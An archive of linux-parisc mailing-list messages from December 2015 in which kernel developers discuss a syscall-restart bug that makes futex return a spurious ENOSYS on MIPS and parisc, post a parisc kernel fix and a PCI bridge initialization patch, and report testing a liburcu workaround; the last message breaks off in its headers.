>>>> Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
>>>> FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
>>>> signal handler. This spurious ENOSYS behavior causes hangs in liburcu
>>>> 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
>>>> same behavior. This might affect earlier kernels.
>>>>
>>>> This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
>>>> nevertheless, we should try to handle this kernel bug more gracefully
>>>> than a user-space hang due to unexpected spurious ENOSYS return value.
>>>
>>> It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
>>> Linux kernel upstream fix commit is:
>>> e967ef02 "MIPS: Fix restart of indirect syscalls"
>>
>> But that patch fixes mips only.
> 
> Indeed, I do not expect this commit to have any effect on parisc.
> 
>>
>>> I've created a small test program that could also be used on parisc
>>> to check if it suffers from the same issue (see attached).
>>>
>>> On bogus mips kernels, we see the following output:
>>> [OK] Test program with pid: 5748 SIGUSR1 handler
>>> [FAIL] futex returns -1, Function not implemented
>>
>> I tested it on a recent 4.2 kernel on parisc.
>> It fails as you describe:
>>
>> Testing futex sigrestart. Stop with CTRL-c.
>> [OK] Test program with pid: 1361 SIGUSR1 handler
>> [OK] Test program with pid: 1361 SIGUSR1 handler
>> [FAIL] futex returns -1, Function not implemented
>> [OK] Test program with pid: 1361 SIGUSR1 handler
>> [FAIL] futex returns -1, Function not implemented
>>
>> strace gives:
>> [pid  1329] futex(0x1210c, FUTEX_WAIT, -1, NULL <unfinished ...>
>> [pid  1328] nanosleep({1, 0},  <unfinished ...>
>> [pid  1329] <... futex resumed> )       = ? ERESTARTSYS (To be restarted if
>> SA_RESTART is set)
>> [pid  1329] write(2, "[FAIL] futex returns -1, Functio"..., 50[FAIL] futex
>> returns -1, Function not implemented)
> 
> Looks like parisc has an issue very similar to the one that
> has been fixed on MIPS by e967ef02 "MIPS: Fix restart of indirect syscalls".

Yes.

>>>> Therefore, fallback on the "async-safe" version of compat_futex in those
>>>> situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
>>>> the nice property of being OK to use concurrently with other FUTEX_WAKE
>>>> and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.
>>>>
>>>> We suspect that parisc might be affected by a similar issue (Debian
>>>> build bots reported a similar hang on both mips and parisc), but we do
>>>> not have access to the hardware required to test this hypothesis.
>>
>> If you want access to a machine, let me know.
>> I'll try the patch below as well..
> 
> This would be very useful indeed, just to make sure our approach to
> futex fallback in liburcu works fine on parisc.

Yes, but will take me some time...

> I'm no parisc assembly expert though, but I suspect the issue
> would be quite similar to the one already fixed on MIPS. The
> existing fix for MIPS would be a good starting point to see if
> something similar is missing on parisc.

Yes, I've already started to look into the parisc assembly parts.
The problems seems to be both the same, the syscall number is not
reserved during a syscall restart.
We have problems with pthread cancellation in glibc too, maybe
it's related to this bug.

> When time allows, we should consider cleaning up my test case for
> restart of indirect system calls and add it to kselftest. 

I was thinking of adding it to the Linux Test Project (LTP) :-)

> It's
> the second architecture that has the same defect, which means this
> behavior is seldom tested.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix syscall restarts
Date: Sat, 19 Dec 2015 00:30:34 +0100
Lines: 115
Approved: news@gmane.org
Message-ID: <20151218233034.GA24910@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1450481466 32055 80.91.229.3 (18 Dec 2015 23:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 23:31:06 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 19 00:30:52 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aA4U7-0004lA-VW
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Dec 2015 00:30:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751796AbbLRXaq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 18:30:46 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:61940 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751592AbbLRXaq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 18:30:46 -0500
Original-Received: from p100.box ([92.203.16.219]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LlESk-1aiZke3k7q-00b0XE; Sat, 19 Dec 2015 00:30:39
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:XKtSObdQoe54vlip6498X19Ijy5RPuqiWW6ilebMtVO3nsKYjoU
 w18vJQT6QymJJCZbVxZ1RtJvv2LYpmctEbamw2xFc7JbKImqKCNJ+aP3JR+2/H2a2sMvtLQ
 tFs7CRlsQxWXDOOnCdwIKUTmwl9ZTTP2i7V7VVgcmDOazD4K9TPn3VY9Ig7VruNak26VX61
 Q53zbuTFSBTq5iZctjpEg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:425ISscjF14=:sn92h2kKuaJxaI3Pwcw8QG
 Vek9b7E1tHjppza5GeJnE71PDzCAb78kNvvu1hmsMh7UlLdY4YOpNuBxDzO/1UpisQ+FtRWZA
 XFgHPAJR4Lhf1aeH3b7nhwWv/QXtoxRI/jt7nW7sWPwVSaI/RqrMyKf1UxCrhjJcGySfYjqwR
 9BKRuC+ELqXoF9SEJsmEQARhRXUE5IzJMvkc3tSDXvWwWvAeIyeteT6hISr+xJ6vRV3n/xqCX
 N7ySMaUB+Hve7DKkFZZqgVnLhzAcKUCGyvS80L8dfci/JhShfwTdlzLPyELgOTu/0Tt/LPZ+v
 Y+zxV+Ejxe6GhZ8x6qRDgeUTXlgrwzo3IEFXyGhZptHOlvMy+noj0wZLlTSjeDrL0GKAJEbHI
 x4B5MPXXBJLV+/KPdYFt8GBrKVEROLiFGOilQkNZQVRhmS+4Th1KuiqcJqd3Cw/6GcSvW+Xyj
 NUscTi3pdlKz15BCDZD3f4zRA33nY436oB648gpMh94RIUNJlfJtPaQiRCUHG8eL2hZNWS0uV
 upcWbALuVNCSre72jyfNbhpbPhkgbtkQ0Bn/V/lg4puQo494Wz8ufLrk7r5o44VtKgSRcXmvq
 Ar8hZ8rInYJORppe1k0y5GhtMYTD95YUOper2ZRlG5U/u35O/8pUrhFr8Zlhqugm1rQIeYSks
 guR63TTzxax2Blhkc3DYwhx18efR+vFjjPU23XOS77A7C7uB3m2CB4lJMnsVB2EOA/XrmbVK8
 8qUdhntT98zXsX0nJH4E4/V0OGOXC4jymVNL0dwV4SoQ6ID3V0uu4r5WmpU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26243
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26243>

On parisc syscalls which are interrupted by signals sometimes fail to restart
and instead return -ENOSYS which then in the worst case lead to userspace
crashes.
A similiar problem existed on MIPS and was fixed by commit e967ef02 
("MIPS: Fix restart of indirect syscalls").

On parisc the current syscall restart code assumes hat the syscall number is
always loaded in the delay branch of the ble instruction as defined in the
unistd.h header file and as such never restored %r20 before returning to
userspace:
	ble 0x100(%sr2, %r0)
	ldi #syscall_nr, %r20

This assumption is at least not true for code which uses the syscall() glibc
function, which instead uses this syntax:
	ble 0x100(%sr2, %r0)
	copy regX, %r20
where regX depend on how the compiler optimizes the code and register usage.

This patch fixes this problem by adding code to analyze how the syscall number
is loaded in the delay branch and - if needed - copy the syscall number to regX
prior returning to userspace for the syscall restart.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index dc1ea79..b0414ad 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs, int in_syscall)
 		regs->gr[28]);
 }
 
+/*
+ * Check the delay branch in userspace how the syscall number gets loaded into
+ * %r20 and adjust as needed.
+ */
+
+static void check_syscallno_in_delay_branch(struct pt_regs *regs)
+{
+	unsigned int opcode, source_reg;
+	u32 __user *uaddr;
+
+	/* Usually we don't have to restore %r20 (the system call number)
+	 * because it gets loaded in the delay slot of the branch external
+	 * instruction via the ldi instruction.
+	 * In some cases a register-to-register copy instruction might have
+	 * been used instead, in which case we need to copy the syscall
+	 * number into the source register before returning to userspace.
+	 */
+
+	/* A syscall is just a branch, so all
+	 * we have to do is fiddle the return pointer.
+	 */
+	regs->gr[31] -= 8; /* delayed branching */
+
+	/* Get assembler opcode of code in delay branch */
+	uaddr = (unsigned int *) (regs->gr[31] + 1);
+	get_user(opcode, uaddr);
+
+	/* Check if delay branch uses "ldi int,%r20" */
+	if ((opcode & 0xffff0000) == 0x34140000)
+		return;	/* everything ok, just return */
+
+	/* Check if delay branch uses "copy %rX,%r20" */
+	if ((opcode & 0xff00ffff) == 0x08000254) {
+		source_reg = (opcode >> 16) & 31;
+		regs->gr[source_reg] = regs->gr[20];
+		return;
+	}
+
+	pr_warn("syscall restart: %s (pid %d): unexpected opcode 0x%08x\n",
+		current->comm, task_pid_nr(current), opcode);
+}
+
 static inline void
 syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 {
@@ -457,10 +499,7 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 		}
 		/* fallthrough */
 	case -ERESTARTNOINTR:
-		/* A syscall is just a branch, so all
-		 * we have to do is fiddle the return pointer.
-		 */
-		regs->gr[31] -= 8; /* delayed branching */
+		check_syscallno_in_delay_branch(regs);
 		break;
 	}
 }
@@ -510,15 +549,9 @@ insert_restart_trampoline(struct pt_regs *regs)
 	}
 	case -ERESTARTNOHAND:
 	case -ERESTARTSYS:
-	case -ERESTARTNOINTR: {
-		/* Hooray for delayed branching.  We don't
-		 * have to restore %r20 (the system call
-		 * number) because it gets loaded in the delay
-		 * slot of the branch external instruction.
-		 */
-		regs->gr[31] -= 8;
+	case -ERESTARTNOINTR:
+		check_syscallno_in_delay_branch(regs);
 		return;
-	}
 	default:
 		break;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: Aw: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex should
 work-around futex signal-restart kernel bug
Date: Sat, 19 Dec 2015 11:37:04 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <56753350.2060906@gmx.de>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com>
 <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
 <trinity-0a355ae2-e5eb-40e5-8561-41a2e8e251e2-1450369370294@3capp-gmx-bs60>
 <1817225945.264082.1450468696180.JavaMail.zimbra@efficios.com>
 <56746FC6.10904@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450521460 21306 80.91.229.3 (19 Dec 2015 10:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Dec 2015 10:37:40 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Jon Bernard <jbernard@debian.org>,
	Michael Jeanson <mjeanson@efficios.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Ed Swierk <eswierk@skyportsystems.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 19 11:37:29 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAEtD-0007qy-Ix
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Dec 2015 11:37:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932591AbbLSKhZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Dec 2015 05:37:25 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:49534 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753544AbbLSKhY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Dec 2015 05:37:24 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LtVLE-1aI7CS2QAW-010xcb; Sat, 19 Dec 2015 11:37:08
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <56746FC6.10904@gmx.de>
X-Provags-ID: V03:K0:uxzVTCk6u1umsLnvdXfIDmJFGM+UOgO7XnRHdEKl4Dby88+yTHq
 pI9bxeIthGVcCI1a5bYQT6Y3ib/bfgJPf/OdQja7msGIUkSU0BpCE8ceiRU/ZO9scwTp6ep
 sVoajB2SWUh7TlfoyOhj1jsju8HCQICIFVaQVOFIFuxgS6SnLFaipz4SJP+kCNGWPJ0bRb1
 14BNnaDEJ+FWeyHSnGJtQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:57Z/ls11cUY=:dCR0UNUCg62CTM5ND5f0CM
 TAQyOXSR0bOyQAhro9EECli5q/iogTHuLwikXVpteEFjEIG04YlA1hlJU6iteYEsOB2zgBNFT
 ud8RNr+zPAKLWomIOD1jN9AAtw8xchREhiy68gkb+D7TPQjXeLm/XI19F7RIkkTe0K/w8Z3cL
 AcOGX2VwqWSWDoQPVUefE1nl/14BZLdtRiPKlHKSmk6+M+rfjsXxRWZCKOFDfjIUoovyqt4nI
 G2wy4CItDrMzJSWq6JJjSujfW+nEHCgLPrZE1dNQMNIZAVnX6oGkL9MuOUEY9kfuvBYbkNx4C
 2yI2zCwEBCFdMi7uQXeb0Gjg9dW02rNnmu8BSnFUnHrPIKEYgDicm65anZFhzmgVLvU4+lSG1
 B/eRyXgtuN4Xq/F9G2Bqwb/OcEz9jRtRVS/ft9X6uYwExoRWWSuW8WnBA9a9WkzpW7R/J46bE
 QsCF3ytpScOoFcUudnCwmj8fxO2hAE7TNw0VgrG2CiG35+LpnfmGNrqNrtTDC0LuBwbgOVlmM
 j+s+KURRYYSHus704ku5bWUNG8Huw5S+PABdHznGL6PpEOGDl4Hbw9vGnCJ9GDsCghlmeCZ0Q
 cmkXxEan8WRiULOafVAC4bUC7/688QYVE/+yQWnqSevwMJA/1s24EBVHHj/82VJteWukm3GQy
 xYenIZXhYRQ+CDkjTb1raMwCB+iG3tp94+UxG9F18wUgUSkFnpQ3CIIkUM7EvqQ706LjZFKCz
 uEq+BJVTQM0wdghEQ6x4WyehECHaVP0gGz917WovjEEY+dOcVQboWNvnlfzBxehuwHhOenHY 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26244 gmane.linux.ports.mips.general:51850 gmane.linux.kernel:2112241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26244>

Hi Mathieu,

On 18.12.2015 21:42, Helge Deller wrote:
> On 18.12.2015 20:58, Mathieu Desnoyers wrote:
>>>>> When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
>>>>> Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
>>>>> FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
>>>>> signal handler. This spurious ENOSYS behavior causes hangs in liburcu
>>>>> 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
>>>>> same behavior. This might affect earlier kernels.
>>>>>
>>>>> This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
>>>>> nevertheless, we should try to handle this kernel bug more gracefully
>>>>> than a user-space hang due to unexpected spurious ENOSYS return value.
>>>>
>>>> It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
>>>> Linux kernel upstream fix commit is:
>>>> e967ef02 "MIPS: Fix restart of indirect syscalls"

>> Looks like parisc has an issue very similar to the one that
>> has been fixed on MIPS by e967ef02 "MIPS: Fix restart of indirect syscalls".

Yes, parisc is affected the same way.
I've posted a patch to the parisc mailing list which fixes this issue for
parisc and which I plan to push into stable kernels:
http://thread.gmane.org/gmane.linux.ports.parisc/26243

Regarding your patch for liburcu:

>>>>> Therefore, fallback on the "async-safe" version of compat_futex in those
>>>>> situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
>>>>> the nice property of being OK to use concurrently with other FUTEX_WAKE
>>>>> and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.

I've tested your patch. It does not produce any regressions on parisc, but I can't
say for sure if it really works. ENOSYS is returned randomly, so maybe I didn't
faced a situation where your patch actually was used.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Initialize PCI bride cache line and default latency
Date: Sun, 20 Dec 2015 12:02:46 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <20151220110246.GA14264@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1450609395 3057 80.91.229.3 (20 Dec 2015 11:03:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 11:03:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 12:03:07 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAbla-000324-KN
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 12:03:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754261AbbLTLDA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 06:03:00 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:53231 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754227AbbLTLC7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 06:02:59 -0500
Original-Received: from p100.box ([92.203.49.69]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0M8mCe-1a2wGV0pxM-00C7aq; Sun, 20 Dec 2015 12:02:51
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:0rhyiwKZMEz4PwMx9w+iuRgJFx5mxliX5lWTpNTushQRF7UWbYq
 JcGu1HfVyv7EH9AClE1Dsz/eUeP4nWLvQkvxxMgrfJN41/FziP9YrnzADrSfRGaP6mUfEPr
 yjjbgOoXD+KctOxeQFpJsSeESMlXvplQAf0kiSV3lGWI0Bt9QGl9fYXrEvZ69eEzv/LQE3E
 y8is22Cx2EZSlrfscmqGw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:be0mJZBGW3o=:jHwwnMozbtgBJ/yVslxQKU
 OmMqjkeyBeXU+D3HETclA9mmFVayg0eQq3NTha8mQ0UhWlY/B+zfBOP5YI2PtRk+R2qXtUQqm
 NizQo8Y5kB/1siyqqJlFhDB8SlE/GhKeQ3GUycMzs+RlipICVBt+yJI5t2Z5MrO6Mr97C2jY5
 GDYzSjJ2Ntjkx4wGVcgDpyw4ssDR/1czwE20uE5FHJQ0Po6EHltWRGrMz2uFeRAFOXUgVwLc4
 wzkWZ2CjZVzA9A2tfBCHoJIt1yJcPE99oqEm76v77npko+CHNvkANxL2B/u7BQVGl/t+Dm2RN
 C1aM+UptyQhjLipxAZ2PQNHCUprz6rskQJw+1xNq8DvJR11DqTYf29MRDCMGCtEU31hYpflhh
 5htC2fpPaHvd5glh++nLxXh+NgV2eeeN/hq+HOe0dht103OUPibNJ2QpT5R0NHnGRuWZZTqw6
 aaeVZTEKJPkmNNIgtRrF6ImNFyiMfQKz9zIQ5wI2c+rwRGKP4dB8MU/tGsRv+Od2D/b9gH1WL
 J9MZEJgPqZYDoBPRl3YAmozYivNed0kfRIOGWomvoQlVMCC+FXt53+Q/MF7Y10Q6Px2BrH8MT
 mSJY6zwfmZHbOuDX97kTuLhWrWaS9H03UNUiFvVcNlBUsKZFCODI6qD43MwhWOCFwQph/jp9o
 /3jqocMXgaYdztVdbbfOZKXWtAKXOoHs+kXVf0tHOr6QsKio+kKNv0Wn+2nP+hL9EDfpAg/dW
 q2qMqKL5R9pMGMCRbVT1L7/fH5XnmAj7ovLF9rMU9tlcQAPeYbvkvzgin4s=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26245>

PCI controllers and pci-pci bridges may have not been fully initialized
regarding cache line and defaul latency.
This partly reverts commit 5f0e9b4 (parisc: Remove unused pcibios_init_bus())

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 71889ea..89c53bf 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -167,6 +167,7 @@ static inline void pcibios_register_hba(struct pci_hba_data *x)
 {
 }
 #endif
+extern void pcibios_init_bridge(struct pci_dev *);
 
 /*
  * pcibios_assign_all_busses() is used in drivers/pci/pci.c:pci_do_scan_bus()
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index c99f3dd..125c05a 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -170,6 +170,31 @@ void pcibios_set_master(struct pci_dev *dev)
 			      (0x80 << 8) | pci_cache_line_size);
 }
 
+/*
+ * pcibios_init_bridge() initializes cache line and default latency
+ * for pci controllers and pci-pci bridges
+ */
+void __init pcibios_init_bridge(struct pci_dev *dev)
+{
+	unsigned short bridge_ctl, bridge_ctl_new;
+
+	/* We deal only with pci controllers and pci-pci bridges. */
+	if (!dev || (dev->class >> 8) != PCI_CLASS_BRIDGE_PCI)
+		return;
+
+	/* PCI-PCI bridge - set the cache line and default latency
+	   (32) for primary and secondary buses. */
+	pci_write_config_byte(dev, PCI_SEC_LATENCY_TIMER, 32);
+
+	pci_read_config_word(dev, PCI_BRIDGE_CONTROL, &bridge_ctl);
+
+	bridge_ctl_new = bridge_ctl | PCI_BRIDGE_CTL_PARITY |
+		PCI_BRIDGE_CTL_SERR | PCI_BRIDGE_CTL_MASTER_ABORT;
+	dev_info(&dev->dev, "Changing bridge control from 0x%08x to 0x%08x\n",
+		bridge_ctl, bridge_ctl_new);
+
+	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl_new);
+}
 
 /*
  * pcibios align resources() is called every time generic PCI code
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index a0580af..1133b5c 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -599,8 +599,10 @@ dino_fixup_bus(struct pci_bus *bus)
 		** P2PB's only have 2 BARs, no IRQs.
 		** I'd like to just ignore them for now.
 		*/
-		if ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI)
+		if ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI)  {
+			pcibios_init_bridge(dev);
 			continue;
+		}
 
 		/* null out the ROM resource if there is one (we don't
 		 * care about an expansion rom on parisc, since it
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 42844c2..751935c 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -787,11 +787,14 @@ lba_fixup_bus(struct pci_bus *bus)
 		bus->bridge_ctl &= ~(status & PCI_STATUS_FAST_BACK);
 #endif
 
+
                 /*
 		** P2PB's have no IRQs. ignore them.
 		*/
-		if ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI)
+		if ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI) {
+			pcibios_init_bridge(dev);
 			continue;
+		}
 
 		/* Adjust INTERRUPT_LINE for this dev */
 		iosapic_fixup_irq(ldev->iosapic_obj, dev);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 13:59:12 +0000 (UTC)
Lines: 168
Approved: news@gmane.org
Message-ID: <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
References: <20151218233034.GA24910@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450619974 22869 80.91.229.3 (20 Dec 2015 13:59:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 13:59:34 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 14:59:20 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAeW6-000808-K6
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 14:59:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751534AbbLTN7R (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 08:59:17 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:35427 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751232AbbLTN7Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 08:59:16 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 7CB3F340307;
	Sun, 20 Dec 2015 13:59:17 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id UFoa7f0FkMpn; Sun, 20 Dec 2015 13:59:13 +0000 (UTC)
